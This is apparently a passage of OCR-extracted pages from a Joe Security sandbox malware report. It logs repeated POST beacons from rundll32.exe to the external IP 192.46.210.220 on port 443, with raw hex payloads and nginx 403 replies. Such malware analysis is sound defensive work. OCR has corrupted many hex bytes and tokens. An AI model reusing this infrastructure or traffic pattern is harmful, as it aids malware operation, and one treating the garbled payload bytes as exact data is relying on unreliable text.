8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:54 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:58 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:59:58 UTC 294

2021-10-28 02:59:58 UTC 299

Session ID Source IP

6 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:12 UTC 29

2021-10-28 02:58:12 UTC 30

2021-10-28 02:58:13 UTC 34

Session ID Source IP

60 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:01 UTC 299

2021-10-28 03:00:01 UTC 299

2021-10-28 03:00:02 UTC 309

Session ID Source IP

61 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:02 UTC 304

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49775

Direction

ouT

ouT

Source Port
50072

Direction
ouT

ouT

Source Port
50073

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:58 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f ch 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a838b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:13 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 la a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:02 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Page 34 of 48



kBytes
Timestamp transferred

2021-10-28 03:00:02 UTC 304

2021-10-28 03:00:02 UTC 309

Session ID Source IP

62 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:06 UTC 309

2021-10-28 03:00:06 UTC 309

2021-10-28 03:00:06 UTC 314

Session ID Source IP

63 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:06 UTC 314

2021-10-28 03:00:06 UTC 314

2021-10-28 03:00:07 UTC 319

Session ID Source IP

64 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:10 UTC 319

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50080

Direction

ouT

ouT

Source Port
50081

Direction
ouT

ouT

Source Port
50087

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢c
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:02 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27018900f27871a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:06 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:07 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 03:00:10 UTC 319

2021-10-28 03:00:10 UTC 329

Session ID Source IP

65 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:10 UTC 324

2021-10-28 03:00:10 UTC 324

2021-10-28 03:00:11 UTC 329

Session ID Source IP

66 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:14 UTC 329

2021-10-28 03:00:14 UTC 329

2021-10-28 03:00:14 UTC 334

Session ID Source IP

67 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:14 UTC 334

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50089

Direction

ouT

ouT

Source Port
50095

Direction
ouT

ouT

Source Port
50097

Direction

ouT

Data

Data Raw: €3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(iIMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:10 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f ch 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a838b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:11 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP  Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 la a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:14 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 03:00:14 UTC 334

2021-10-28 03:00:15 UTC 339

Session ID Source IP

68 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:17 UTC 339

2021-10-28 03:00:17 UTC 339

2021-10-28 03:00:18 UTC 344

Session ID Source IP

69 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:18 UTC 344

2021-10-28 03:00:18 UTC 344

2021-10-28 03:00:19 UTC 349

Session ID Source IP

7 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:15 UTC 34

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50103

Direction

ouT

ouT

Source Port
50105

Direction
ouT

ouT

Source Port
49781

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢c
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:15 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e Oa 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27 01890027871 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:18 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 03:00:19 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:58:15 UTC 35

2021-10-28 02:58:15 UTC 39

Session ID Source IP

70 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:21 UTC 349

2021-10-28 03:00:21 UTC 349

2021-10-28 03:00:22 UTC 354

Session ID Source IP

71 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:22 UTC 354

2021-10-28 03:00:22 UTC 354

2021-10-28 03:00:23 UTC 359

Session ID Source IP

72 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 03:00:25 UTC 359

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50111

Direction

ouT

ouT

Source Port
50113

Direction
ouT

ouT

Source Port
50119

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

